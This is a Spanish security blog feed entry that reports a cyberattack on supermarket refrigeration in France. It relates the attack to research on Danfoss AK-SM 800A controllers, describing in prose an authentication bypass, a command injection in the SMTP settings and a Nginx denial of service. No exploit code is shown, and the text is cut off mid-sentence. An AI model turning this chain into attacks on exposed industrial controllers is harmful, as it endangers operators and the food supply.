<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9133539773684103848</id><updated>2026-10-16T04:31:52.285+02:00</updated><category term="herramientas"/><category term="vulnerabilidades"/><category term="técnicas"/><category term="malware"/><category term="noticias"/><category term="Windows"/><category term="red team"/><category term="amenazas"/><category term="linux"/><category term="redes"/><category term="python"/><category term="recopilatorios"/><category term="videos"/><category term="curiosidades"/><category term="tutoriales"/><category term="retos"/><category term="exploits"/><category term="código abierto"/><category term="eventos"/><category term="pentest"/><category term="android"/><category term="recursos"/><category term="seguridad web"/><category term="hardware"/><category term="fortificación"/><category term="hacktivismo"/><category term="metasploit"/><category term="forense"/><category term="cifrado"/><category term="ingeniería inversa"/><category term="powershell"/><category term="0 day"/><category term="recomendaciones"/><category term="privacidad"/><category term="anonimato"/><category term="contramedidas"/><category term="magazines"/><category term="programación"/><category term="antivirus"/><category term="cracking"/><category term="writeups"/><category term="esteganografía"/><category term="libros"/><category term="post-explotación"/><category term="escalado de privilegios"/><category term="dos"/><category term="gadgets"/><category term="ransomware"/><category term="formación"/><category term="apple"/><category term="leak"/><category term="h-c0n"/><category term="backdoor"/><category term="raspberry pi"/><category term="series"/><category term="humor"/><category term="Go"/><category term="bypass"/><category term="hacking"/><category term="utilidades"/><category term="Internet de las cosas"/><category term="ctf"/><category term="exploiting"/><category term="poc"/><category term="pwned"/><category term="contraseñas"/><category term="maldev"/><category term="tor"/><category term="C#"/><category term="IA"/><category term="criptografia"/><category term="firewalls"/><category term="OSCP"/><category term="concursos"/><category term="encuestas"/><category term="exfiltración de datos"/><category term="reversing"/><category term="hackthebox"/><category term="ciberguerra"/><category term="C"/><category term="blue team"/><category term="phishing"/><category term="wi-fi"/><category term="bug bounty"/><category term="contribuciones"/><category term="edr"/><category term="infografías"/><category term="AI"/><category term="DA"/><category term="c2"/><category term="inteligencia artificial"/><category term="Deep Web"/><category term="Directorio Activo"/><category term="docker"/><category term="honeypots"/><category term="relatos"/><category term="IoT"/><category term="certificaciones"/><category term="evasion"/><category term="inyecciones SQL"/><category term="lock picking"/><category term="threat hunting"/><category term="vpn"/><category term="WhatsApp"/><category term="bash"/><category term="bof"/><category term="defaces"/><category term="drones"/><category term="laboratorio"/><category term="metadatos"/><category term="ruby"/><category term="threat intelligence"/><category term="trucos"/><category term="virtualización"/><category term="wireless"/><category term="ICS"/><category term="conferencia"/><category term="labs"/><category term="php"/><category term="pivoting"/><category term="reverse shell"/><category term="rootkits"/><category term=".NET"/><category term="LLM"/><category term="SCADA"/><category term="boot2root"/><category term="entrevistas"/><category term="fuerza bruta"/><category term="ingenieria social"/><category term="legislación"/><category term="metodologías"/><category term="reconocimiento"/><category term="seguridad gestionada"/><category term="webshells"/><category term="APT"/><category term="base de datos"/><category term="censura"/><category term="dns"/><category term="espionaje"/><category term="java"/><category term="off-topic"/><category term="rust"/><category term="xss"/><category term="anonymous"/><category term="bitcoins"/><category term="captchas"/><category term="ciberinteligencia"/><category term="ciberseguridad"/><category term="cloud"/><category term="dark web"/><category term="keyloggers"/><category term="persistencia"/><category term="taller"/><category term="NFC"/><category term="Twitter"/><category term="botnet"/><category term="cibercrimen"/><category term="comunicaciones"/><category term="credenciales"/><category term="empire"/><category term="flash"/><category term="geolocalización"/><category term="investigaciones"/><category term="ipv6"/><category term="javascript"/><category term="juegos"/><category term="normativas"/><category term="payloads"/><category term="radio"/><category term="rce"/><category term="shodan"/><category term="waf"/><category term="OT"/><category term="ROP"/><category term="bloodhound"/><category term="c++"/><category term="crowdfunding"/><category term="código fuente"/><category term="dfir"/><category term="movilidad"/><category term="móvil"/><category term="nodejs"/><category term="ofuscadas"/><category term="opinión"/><category term="osint"/><category term="películas"/><category term="wikileaks"/><category term="análisis"/><category term="arduino"/><category term="charlas"/><category term="cheatsheets"/><category term="ciberseguridad industrial"/><category term="enumeración"/><category term="explotación"/><category term="foca"/><category term="hoax"/><category term="jailbreak"/><category term="latch"/><category term="papers"/><category term="perl"/><category term="proxmox"/><category term="retro"/><category term="serialización"/><category term="sistemas operativos"/><category term="software libre"/><category term="telegram"/><category term="wordpress"/><category term="Applocker"/><category term="Azure"/><category term="CLR"/><category term="COR"/><category term="Defcon"/><category term="FUD"/><category term="LFI"/><category term="Onion"/><category term="Profiler"/><category term="ansible"/><category term="backup"/><category term="badusb"/><category term="bancos"/><category term="bios"/><category term="bluetooth"/><category term="boot"/><category term="comunidad"/><category term="condición de carrera"/><category term="contenedores"/><category term="crypters"/><category term="crystal"/><category term="ddos"/><category term="deepfake"/><category term="documentales"/><category term="domótica"/><category term="drupal"/><category term="electrónica"/><category term="excel"/><category term="fuzzing"/><category term="git"/><category term="hardware hacking"/><category term="harness"/><category term="hashes"/><category term="ids"/><category term="lua"/><category term="maldoc"/><category term="maps"/><category term="misc"/><category term="navegador"/><category term="podcast"/><category term="promociones"/><category term="redes neuronales"/><category term="responsible disclosure"/><category term="robótica"/><category term="seguridad física"/><category term="shellcode"/><category term="ssh"/><category term="trabajo"/><category term="trivial"/><category term="underground"/><category term="voip"/><category term="vulnhub"/><category term="wifi"/><category term="AD"/><category term="AWS"/><category term="AiTM"/><category term="AutoIt"/><category term="COM"/><category term="CyberChef"/><category term="DIY"/><category term="DLP"/><category term="DORA"/><category term="Defender"/><category term="ESMA"/><category term="Exchange"/><category term="Internet"/><category term="LPE"/><category term="MCP"/><category term="MITRE"/><category term="MOOC"/><category term="RFP"/><category term="RTS"/><category term="SEO"/><category term="SIEM"/><category term="SSL"/><category term="Stuxnet"/><category term="TLPT"/><category term="TTPs"/><category term="TTS"/><category term="WMI"/><category term="Xen"/><category term="academy"/><category term="agente"/><category term="asm"/><category term="badges"/><category term="bilingual-post"/><category term="biohacking"/><category term="bitlocker"/><category term="blockchain"/><category term="bootkit"/><category term="brainfuck"/><category term="brechas"/><category term="bullying"/><category term="burp"/><category term="call for papers"/><category term="canape"/><category term="car hacking"/><category term="ciberejercicios"/><category term="ciencia"/><category term="clonación de voz"/><category term="cobaltstrike"/><category term="comparativa"/><category term="comunicacion"/><category term="concienciación"/><category term="control parental"/><category term="covert channel"/><category term="cripto"/><category term="cyberpunk"/><category term="cyberwar"/><category term="delphi"/><category term="detección"/><category term="devops"/><category term="dorks"/><category term="downgrade"/><category term="dpi"/><category term="e-zines"/><category term="embodied AI"/><category term="empleo"/><category term="ensamblador"/><category term="entraID"/><category term="expresiones regulares"/><category term="firebase"/><category term="firmware"/><category term="foro"/><category term="frameworks"/><category term="fraude"/><category term="frikismo"/><category term="gamers"/><category term="geek"/><category term="geopolítica"/><category term="hibrido"/><category term="hijacking"/><category term="htb"/><category term="huevos de pascua"/><category term="iOS"/><category term="identidad"/><category term="impresión 3d"/><category term="incident response"/><category term="infraestructuras críticas"/><category term="internals"/><category term="iocs"/><category term="ironpython"/><category term="joomla"/><category term="lolbins"/><category term="machine learning"/><category term="memory corruption"/><category term="militar"/><category term="newbie"/><category term="nim"/><category term="old but gold"/><category term="opsec"/><category term="overflow"/><category term="p2p"/><category term="patching"/><category term="pederastia"/><category term="perifericos"/><category term="pki"/><category term="prank"/><category term="prompts"/><category term="purple team"/><category term="rat"/><category term="redteam"/><category term="regalos"/><category term="relay"/><category term="revisión de código"/><category term="rfid"/><category term="riesgos"/><category term="routers"/><category term="rsa"/><category term="sap"/><category term="satelites"/><category term="satélites"/><category term="sccm"/><category term="script"/><category term="sexting"/><category term="shell"/><category term="simuladores"/><category term="sinkholing"/><category term="solar"/><category term="spam"/><category term="ss7"/><category term="supercomputación"/><category term="supply chain attack"/><category term="tendencias"/><category term="terraform"/><category term="threat actor"/><category term="tracking"/><category term="uac"/><category term="uefi"/><category term="unix"/><category term="use-after-free"/><category term="uxss"/><category term="vagrant"/><category term="vba"/><category term="videojuegos"/><category term="vigenere"/><category term="vigilancia"/><category term="volatility"/><category term="vídeos"/><category term="xbox"/><category term="xxe"/><category term="yara"/><title type='text'>~#hackplayers</title><subtitle type='html'>Computer security, ethical hacking and more!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='https://www.hackplayers.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default?max-results=10'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default?start-index=11&amp;max-results=10'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>2531</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>10</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-8673900151957927242</id><published>2026-10-13T01:29:34.075+02:00</published><updated>2026-10-13T01:29:34.075+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ICS"/><category scheme="http://www.blogger.com/atom/ns#" term="IoT"/><category scheme="http://www.blogger.com/atom/ns#" term="noticias"/><category scheme="http://www.blogger.com/atom/ns#" term="OT"/><title type='text'>Ciberataque en Francia: subieron a 50 °C los frigoríficos de más de 150 supermercados y obligaron a tirar toneladas de comida</title><content type='html'>&lt;p data-pm-slice=&quot;1 1 []&quot;&gt;La madrugada del 11 al 12 de octubre de 2026, varios supermercados franceses sufrieron un sabotaje que convirtió sus instalaciones frigoríficas en fuentes de calor. Según las informaciones publicadas, los atacantes manipularon los sistemas de control, prolongaron los ciclos de deshielo y modificaron las consignas de temperatura hasta alcanzar los 50 °C.&lt;/p&gt;&lt;p&gt;El resultado fue la pérdida de toneladas de alimentos que debían mantenerse refrigerados o congelados. Carne, pescado, lácteos y platos preparados tuvieron que retirarse al romperse la cadena de frío. Intermarché figuró entre las cadenas más afectadas, con alrededor de 150 establecimientos señalados en las primeras informaciones. También se notificaron incidencias en Coopérative U, E.Leclerc y otros operadores.&lt;/p&gt;&lt;p&gt;La conexión técnica más interesante no es una atribución definitiva del incidente, sino una investigación publicada por Claroty Team82 el 9 de agosto de 2026: &lt;em&gt;&lt;a href=&quot;https://es.claroty.com/team82/research/freeze-the-controller-defrost-the-food-uncovering-vulnerabilities-in-danfoss-refrigeration-controllers&quot; target=&quot;_blank&quot;&gt;Freeze the Controller, Defrost the Food&lt;/a&gt;&lt;/em&gt;. En ella, el investigador Amir Zaltzman documentó cómo varias vulnerabilidades de los controladores &lt;b&gt;Danfoss AK-SM 800A&lt;/b&gt; podían encadenarse para saltarse la autenticación, alcanzar ejecución remota de comandos y manipular la configuración del servidor web integrado. Es una hipótesis técnica plausible para investigar lo ocurrido en Francia, pero no existe confirmación pública de que los atacantes utilizaran exactamente esta cadena.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjodHPh71w7s1nrLgfbhqQlZmFJNTWFamztB9bJvFc9zMIg7yrHSnQyC7gT-WbXYbfC1LC5k1DpuW_-mBN00itwXo2tzUOCor6RSD4IDJPB2cm1yopEGqJkZv98ApnkBrrXJZ9INmWRb4Wv7UnuOGxsHWN6p8Sk-IVGQx_oqMjXDQS0CF-bGfhBQquC6dKw/s626/dankfoss_microsoftteams.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;418&quot; data-original-width=&quot;626&quot; height=&quot;268&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjodHPh71w7s1nrLgfbhqQlZmFJNTWFamztB9bJvFc9zMIg7yrHSnQyC7gT-WbXYbfC1LC5k1DpuW_-mBN00itwXo2tzUOCor6RSD4IDJPB2cm1yopEGqJkZv98ApnkBrrXJZ9INmWRb4Wv7UnuOGxsHWN6p8Sk-IVGQx_oqMjXDQS0CF-bGfhBQquC6dKw/w400-h268/dankfoss_microsoftteams.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2&gt;De una interfaz expuesta al control del sistema&lt;/h2&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p&gt;El Danfoss AK-SM 800A no es simplemente un termostato conectado a la red. Es un gestor centralizado que supervisa y coordina equipos de refrigeración comerciales. Desde su interfaz web se pueden consultar circuitos, configurar umbrales de temperatura, gestionar alarmas, ajustar horarios y modificar servicios de notificación. Comprometer ese punto de administración puede dar al atacante acceso a funciones con consecuencias físicas y operativas.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwNQ-NvFhryu8wHRLRkDXv_9-bvk_Mbf1c3hZT1nRBmvVrULXO2ZRexmxtBr9prvGyc67ublyZgz82INrReLHa3jpVNmpY-5cmUgrX6rqLcuLmVu6D5BYeupxHdzONwoOpenKyOqDmltj94wtzc67PmIMPRdR5_R4IO6AYLvZ1jYI7XD713uTZs33PQJr2/s924/danfossgui.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;635&quot; data-original-width=&quot;924&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwNQ-NvFhryu8wHRLRkDXv_9-bvk_Mbf1c3hZT1nRBmvVrULXO2ZRexmxtBr9prvGyc67ublyZgz82INrReLHa3jpVNmpY-5cmUgrX6rqLcuLmVu6D5BYeupxHdzONwoOpenKyOqDmltj94wtzc67PmIMPRdR5_R4IO6AYLvZ1jYI7XD713uTZs33PQJr2/s1600/danfossgui.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;Team82 comenzó investigando la exposición de estos controladores en Internet mediante plataformas como Shodan y Censys. Los investigadores identificaron miles de interfaces accesibles públicamente; su publicación muestra una medición de 2.765 dispositivos expuestos en Censys. Esto no significa que todos fueran vulnerables o estuvieran comprometidos, pero sí que existía una superficie de ataque alcanzable sin necesidad de entrar previamente en la red corporativa de un supermercado.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP_hH6ei-z_zKromcCVhda6lNc2vWWOGvFwKi9q6_2BctMH3twjugXx-lOp4Bgfk93DrwAEPXoYMXnqKYxPQKQbuLe9lI1acwSRKpewGa0J6AtwXxBEs6uG0K7kP-3ZvnGdd8g0kr6j-BkySXXoIIv6tlaJSmBELjYGperDnshq7zOFm2h06mUYrk9M5_t/s912/censysdanfoss.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;591&quot; data-original-width=&quot;912&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP_hH6ei-z_zKromcCVhda6lNc2vWWOGvFwKi9q6_2BctMH3twjugXx-lOp4Bgfk93DrwAEPXoYMXnqKYxPQKQbuLe9lI1acwSRKpewGa0J6AtwXxBEs6uG0K7kP-3ZvnGdd8g0kr6j-BkySXXoIIv6tlaJSmBELjYGperDnshq7zOFm2h06mUYrk9M5_t/s1600/censysdanfoss.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Una vez identificado el equipo, la siguiente fase consistió en analizar el firmware para reconstruir cómo procesaba las peticiones HTTP. El resultado fue una arquitectura más compleja de lo que aparentaba la interfaz: un Nginx externo recibía las peticiones, determinadas rutas &lt;code dir=&quot;ltr&quot;&gt;.cgi&lt;/code&gt; se enviaban a &lt;code dir=&quot;ltr&quot;&gt;sm_fcgi_app&lt;/code&gt; y este componente las reenviaba a un Nginx interno. Finalmente, otra capa del sistema, asociada a &lt;code dir=&quot;ltr&quot;&gt;sm_app&lt;/code&gt; y su tarea &lt;code dir=&quot;ltr&quot;&gt;Task_Web&lt;/code&gt;, procesaba la lógica de la aplicación.&lt;/p&gt;&lt;p&gt;Esta separación importa desde el punto de vista de la seguridad. La validación de una petición, la autenticación y la operación ejecutada pueden residir en componentes distintos. Para encontrar una vulnerabilidad no basta con observar lo que muestra el navegador: hay que seguir la petición desde el punto de entrada hasta la función que realiza realmente la operación.&lt;/p&gt;&lt;h2&gt;Primera fase: CVE-2025-41450 y el mecanismo oculto de autenticación&lt;/h2&gt;&lt;p&gt;El primer eslabón es &lt;strong&gt;CVE-2025-41450&lt;/strong&gt;, una vulnerabilidad de autenticación impropia que afecta a versiones del AK-SM 8xxA anteriores a la 4.2. Danfoss publicó el aviso correspondiente en marzo de 2025 y recomendó actualizar el firmware.&lt;/p&gt;&lt;p&gt;Team82 centró su análisis en las peticiones dirigidas al endpoint &lt;code dir=&quot;ltr&quot;&gt;xml.cgi&lt;/code&gt;, en particular las relacionadas con la acción &lt;code dir=&quot;ltr&quot;&gt;getauth&lt;/code&gt;. Siguiendo el flujo de ejecución hasta el código que despacha las acciones XML, los investigadores localizaron una ruta alternativa de autenticación que desviaba el proceso normal de comprobación de credenciales.&lt;/p&gt;&lt;p&gt;El hallazgo más relevante fue una función denominada &lt;code dir=&quot;ltr&quot;&gt;check_code_of_day&lt;/code&gt;. Según la investigación, determinados atributos de la petición activaban esta ruta alternativa, que aceptaba un código calculado internamente a partir de la fecha del dispositivo en lugar de comprobar exclusivamente la contraseña administrativa configurada.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv9RwrS1LF34fX1Peazw1mr_9N2dPP3TZshyphenhyphen5v7vdifjmE7GnnoD4x5UHjHEDILF3kel0xVWnz2UYWT5EFYTM4ZcRzL2eYekjrPFyufs0QHruVOgbCz82zj6lmlygB4VoMDwz5a_3capdwgOKGwjbidDqTlc69_BKV0yFW-Z3HWsPOogzHUuNXFRK7GXIf/s728/checkcodeofday.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;537&quot; data-original-width=&quot;728&quot; height=&quot;472&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv9RwrS1LF34fX1Peazw1mr_9N2dPP3TZshyphenhyphen5v7vdifjmE7GnnoD4x5UHjHEDILF3kel0xVWnz2UYWT5EFYTM4ZcRzL2eYekjrPFyufs0QHruVOgbCz82zj6lmlygB4VoMDwz5a_3capdwgOKGwjbidDqTlc69_BKV0yFW-Z3HWsPOogzHUuNXFRK7GXIf/w640-h472/checkcodeofday.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Los investigadores reconstruyeron el algoritmo utilizado para generar ese código diario. Por tanto, un atacante que conociera el funcionamiento de la rutina podía reproducir el mecanismo y obtener una sesión administrativa sin conocer la contraseña habitual del equipo.&lt;/p&gt;&lt;p&gt;No se trata simplemente de una contraseña débil ni de un ataque de fuerza bruta. El problema está en la existencia de un mecanismo alternativo que permite evitar el control de acceso previsto. Una función posiblemente concebida para tareas de soporte o mantenimiento se convierte así en una vía de entrada cuando su diseño y sus condiciones de activación no están suficientemente protegidos.&lt;/p&gt;&lt;p&gt;El impacto práctico es considerable: una interfaz que aparentemente exige credenciales puede ofrecer una segunda ruta de autenticación. Si el controlador está expuesto y ejecuta una versión vulnerable, el atacante podría pasar de una petición remota a una sesión con privilegios de administración.&lt;/p&gt;&lt;p&gt;Conviene precisar el alcance: el aviso original de Danfoss destaca que esta vulnerabilidad permite generar informes web con información sensible, como direcciones IP internas, nombres de usuario y nombres de tiendas. Es la investigación de Team82 la que describe el mecanismo oculto y su potencial para obtener una sesión administrativa, que es lo que hace posible enlazarlo con la siguiente vulnerabilidad.&lt;/p&gt;&lt;h2&gt;Segunda fase: CVE-2025-41451, de la administración web a la ejecución de comandos&lt;/h2&gt;&lt;p&gt;Con la autenticación superada, el atacante ya no estaría limitado a los endpoints accesibles sin iniciar sesión. Tendría a su alcance las funciones administrativas de la aplicación, incluidas las relacionadas con configuración de red, usuarios, mantenimiento y notificaciones por correo.&lt;/p&gt;&lt;p&gt;Team82 examinó precisamente esta última funcionalidad. La página de configuración SMTP fue el punto de partida para seguir una petición que actualizaba los parámetros de correo. Al rastrear el flujo hasta la implementación, los investigadores identificaron un campo correspondiente a la contraseña de autenticación del correo que terminaba incorporado a una orden ejecutada por el sistema operativo.&lt;/p&gt;&lt;p&gt;El problema, documentado como &lt;strong&gt;CVE-2025-41451&lt;/strong&gt;, es que el valor controlado por el usuario se incorporaba al comando sin una neutralización adecuada de los caracteres especiales del intérprete de comandos. En lugar de tratarse siempre como un dato, el contenido podía interpretarse como parte de la propia orden.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXiziugmGdRdKExNI3LEstTooB0RspQcE6_sHhTqdE1YCEbUIg0JB2lXIXfcqJxbOkeae89R80gfow0ZJ0_ugarTNnD-i7C37YPl-E1-zgNCf6qDZTyebqUzRMnMG9MF8GkIy-qAVif9MRGzwjTRoBjS39ZVXOzEHVxUpKNeI5SyPF0yT1W1CqohYUw9qW/s715/danfossexec.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;457&quot; data-original-width=&quot;715&quot; height=&quot;410&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXiziugmGdRdKExNI3LEstTooB0RspQcE6_sHhTqdE1YCEbUIg0JB2lXIXfcqJxbOkeae89R80gfow0ZJ0_ugarTNnD-i7C37YPl-E1-zgNCf6qDZTyebqUzRMnMG9MF8GkIy-qAVif9MRGzwjTRoBjS39ZVXOzEHVxUpKNeI5SyPF0yT1W1CqohYUw9qW/w640-h410/danfossexec.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Esta es la diferencia esencial entre una configuración vulnerable y una ejecución remota de comandos: si la aplicación construye una orden del sistema mediante concatenación o interpolación de valores externos, y no separa correctamente los datos de las instrucciones, el campo de configuración puede convertirse en un punto de inyección.&lt;/p&gt;&lt;p&gt;En el caso analizado por Team82, la cadena era:&lt;/p&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;El atacante alcanzaba la interfaz de administración.&lt;/li&gt;&lt;li&gt;Utilizaba la ruta de autenticación alternativa para obtener una sesión administrativa.&lt;/li&gt;&lt;li&gt;Accedía a la configuración de correo y enviaba un valor manipulado en el campo vulnerable.&lt;/li&gt;&lt;li&gt;La aplicación incorporaba ese valor a una orden del sistema operativo.&lt;/li&gt;&lt;li&gt;El sistema interpretaba el contenido inyectado como instrucciones adicionales, haciendo posible la ejecución remota de comandos.&lt;/li&gt;&lt;/ol&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;p&gt;No hace falta que el atacante encuentre una vulnerabilidad independiente en SSH ni que instale primero un implante en el sistema operativo. La propia aplicación web constituye el puente entre una sesión administrativa y la ejecución de comandos.&lt;/p&gt;&lt;p&gt;Danfoss describe CVE-2025-41451 como una inyección de comandos en campos de configuración de alarmas por correo que puede conducir a ejecución remota de código después de autenticarse. La vulnerabilidad afecta a versiones anteriores a la 4.3.1 y fue corregida en esa versión. Aunque la investigación de Team82 muestra cómo puede encadenarse con el bypass de autenticación, la ejecución de comandos y el acceso posterior dependen de las condiciones concretas del dispositivo y de su versión de firmware.&lt;/p&gt;&lt;h2&gt;Tercera fase: qué permitiría hacer el acceso al controlador&lt;/h2&gt;&lt;p&gt;Llegados a este punto, la hipótesis deja de depender de un fallo aislado de autenticación. La combinación de acceso administrativo y ejecución de comandos convierte al controlador en un activo comprometido desde el que un atacante podría investigar los procesos, configuraciones y servicios disponibles en el dispositivo.&lt;/p&gt;&lt;p&gt;Pero hay una distinción fundamental: &lt;strong&gt;obtener ejecución de comandos no demuestra, por sí solo, que se pueda fijar una temperatura concreta ni que todos los circuitos de refrigeración estén directamente controlados desde el mismo proceso&lt;/strong&gt;. Para pasar de la ejecución en el sistema operativo a la manipulación efectiva del frío habría que conocer la arquitectura de control de cada instalación, los permisos del proceso comprometido y la comunicación entre el AK-SM y los equipos de campo.&lt;/p&gt;&lt;p&gt;La investigación de Team82 demuestra las vulnerabilidades de la interfaz web y la posibilidad de ejecutar comandos; no documenta que un atacante haya utilizado esta cadena para programar consignas de 50 °C en los supermercados franceses. Esa parte debe mantenerse como hipótesis.&lt;/p&gt;&lt;p&gt;Si el acceso comprometido permite modificar parámetros operativos, horarios o la configuración que gobierna los equipos de frío, las consecuencias podrían ser graves. Una alteración de las consignas, la activación de ciclos de deshielo fuera de su programación o la modificación de los mecanismos de supervisión podría provocar que las cámaras y vitrinas dejaran de mantener las condiciones adecuadas para conservar los alimentos. El efecto final dependería de la configuración real, de las protecciones independientes y de la intervención del personal.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjisSS88jVHG36LE3tFn_J6TGdc_ia2qjam8tYZs_Rz__LNK_ZqHa0iujV1PTP2N2LlATpRw7fs7VjfRxtpVYB3uGRq48LGiYmFdgmY2jXAai9M5_vBTRYG0_hgxq-jKVYrTTW9Rqwrf7m55XOXCXSYECexYiCpi-zu6bqCz29ZhiRixZ9iQSsB90a9xdTN/s1600/refrigerator.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1600&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjisSS88jVHG36LE3tFn_J6TGdc_ia2qjam8tYZs_Rz__LNK_ZqHa0iujV1PTP2N2LlATpRw7fs7VjfRxtpVYB3uGRq48LGiYmFdgmY2jXAai9M5_vBTRYG0_hgxq-jKVYrTTW9Rqwrf7m55XOXCXSYECexYiCpi-zu6bqCz29ZhiRixZ9iQSsB90a9xdTN/w640-h360/refrigerator.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;El impacto tampoco tiene por qué limitarse a la temperatura. Un atacante podría intentar interferir con la visibilidad que tiene el operador sobre el sistema, dificultar la gestión remota o alterar la configuración de los servicios que notifican incidencias. Para demostrar que eso sucedió durante el incidente francés habría que examinar registros del controlador, cambios de configuración, telemetría de temperatura, alarmas y evidencias recogidas en los sistemas de supervisión.&lt;/p&gt;&lt;h2&gt;CVE-2025-41452: manipular Nginx y provocar una caída de la interfaz&lt;/h2&gt;&lt;p&gt;Team82 descubrió una tercera vulnerabilidad, &lt;strong&gt;CVE-2025-41452&lt;/strong&gt;, que afecta a la configuración del servidor web integrado. La aplicación permitía reemplazar el archivo &lt;code dir=&quot;ltr&quot;&gt;headers.conf&lt;/code&gt; y recargar la instancia externa de Nginx sin reiniciar el dispositivo. La función estaba expuesta mediante la acción &lt;code dir=&quot;ltr&quot;&gt;load_nginx_headers&lt;/code&gt;, que aceptaba una carga de archivo autenticada.&lt;/p&gt;&lt;p&gt;Según los investigadores, un usuario autenticado podía introducir directivas arbitrarias de enrutamiento en esa configuración. Durante las pruebas, determinadas rutas manipuladas provocaban una excepción no gestionada en el proceso &lt;code dir=&quot;ltr&quot;&gt;sm_app&lt;/code&gt;, haciendo caer el servicio web y permitiendo generar una condición de denegación de servicio.&lt;/p&gt;&lt;p&gt;Esta vulnerabilidad no es el mismo fallo que permite ejecutar comandos mediante la configuración SMTP. Tampoco constituye, por sí sola, una prueba de que un atacante pueda alterar la temperatura. Su importancia reside en que amplía las posibilidades de interferir con la interfaz de administración y con el acceso de los operadores al sistema.&lt;/p&gt;&lt;p&gt;En una instalación de refrigeración, perder la interfaz web puede complicar la supervisión y la respuesta ante una incidencia, aunque no implica necesariamente que los circuitos de frío dejen de funcionar: el comportamiento dependerá de cómo estén diseñados los controles locales y de qué funciones sigan operativas sin la aplicación de gestión.&lt;/p&gt;&lt;h2&gt;La cadena de ataque, reconstruida como hipótesis&lt;/h2&gt;&lt;p&gt;A partir de los hallazgos de Team82, el escenario técnico que conviene investigar en el incidente francés puede resumirse así:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Exposición a Internet → identificación de un AK-SM vulnerable → bypass de autenticación mediante &lt;/strong&gt;&lt;code dir=&quot;ltr&quot;&gt;&lt;strong&gt;code-of-the-day&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; (CVE-2025-41450) → acceso 